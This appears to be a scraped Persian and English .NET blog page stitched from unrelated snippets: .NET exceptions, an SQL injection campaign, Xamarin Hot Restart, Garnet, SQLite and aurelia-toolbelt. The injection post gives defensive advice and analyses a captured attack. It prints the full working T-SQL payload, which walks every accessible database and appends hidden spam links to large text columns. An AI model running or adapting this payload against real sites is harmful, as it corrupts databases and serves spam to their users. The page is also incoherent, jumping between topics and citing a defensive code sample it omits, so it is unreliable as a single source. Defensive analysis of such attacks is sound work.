Unhandled exceptions are a bit of a misnomer. In .NET, every exception is handled. By the time you access the specifics of an error in your Try-Catch block, the Framework has already analyzed the problem, built a structure to contain its details, examined the stack trace, and used reflection to pinpoint the location of the error, among other mundane tasks. In short, when errors occur, .NET serves them up to your code in a neatly packaged, highly examinable data block.
اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آنها تبلیغات یک سری سایتهای کذایی وجود دارند، اضافه شدهاند، حتما مورد حملهی SQL Injection فوق واقع شدهاید.
مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آنرا به عنوان پارامتر سازندهی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف میشود:
ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره میکنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئریهای غیرپارامتری و یا از ORMها استفاده نمیکنید.
ج) آیا به محتوای دریافت شدهی از طریق کوئری استرینگها دقت دارید؟
این مورد نیز همانند حالت ب است.
بررسی ساختار این حمله
کوئری ارسالی (البته با حذف آدرس سایتهای کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR; DECLARE @s AS VARCHAR (8000); DECLARE @w AS VARCHAR (99); SET @b = CURSOR FOR SELECT DB_NAME() UNION SELECT name FROM sys.databases WHERE (has_dbaccess(name) != 0) AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME()); OPEN @b; FETCH NEXT FROM @b INTO @w; WHILE @@FETCH_STATUS = 0 BEGIN SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch'; EXECUTE (@s); FETCH NEXT FROM @b INTO @w; END CLOSE @b;
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آنها درج میکند.
معرفی قابلیت Hot Restart زامارین
توسط این قابلیت در برنامههای زاماین، تغییرات کد، رفرنس ها، فایلها و... نیاز به کامپایل کامل و مجدد نداشته و تغییرات را سریعتر اعمال کرده و برنامه را ریستارت میکند.
Today at .NET Conf 2019, we announced Xamarin Hot Restart which enables you to test changes made to your app, including multi-file code edits, resources, and references, using a much faster build and deploy cycle.
XAML Hot Reload for Xamarin.Forms already provides fast iteration on XAML UIs by enabling you to see changes applied live in your running application. But what about other types of code and project edits? Xamarin Hot Restart will apply these types of changes to your application and quickly restart your app for rapid application development.
توضیحاتی درباره Extreme Programming
Garnet - Microsoft's Redis protocol implementation is going strong, as Redis ditches the Open Source license.
Garnet is available on GitHub and is licensed under the MIT license.
SQLite بیست ساله شد
آینده برنامه نویسی
Aurelia is one of the best frameworks that we have ever seen in terms of software design, hence, we decided to write a bunch of tools for its developers to pave the way for further usage.
aurelia-toolbelt is that, in which we tried to gather the best libraries in Javascript world together in aurelia fashion. Writing custom-elements, value-converters, and so on. We tried not to invent the wheel, so most of the work is a wrapper, or bridge( am not sure whether the way that we coded can be called bridge or not), around other libraries.
-
Its is utterly important for us to provide a link as a reference to the libraries used, or inspired from, so that other developers can visit their product and decide on their own to use which, besides it's one way that we can respect the time and effort of those programmers.
-
All libraries used in aurelia-toolbelt are open-source and free of charge; most of which are MIT , however we will provide definition whenever it differs.
GitHub : aurelia-toolbelt
NPM : aurelia-toolbelt
Twitter : aureliatoolbelt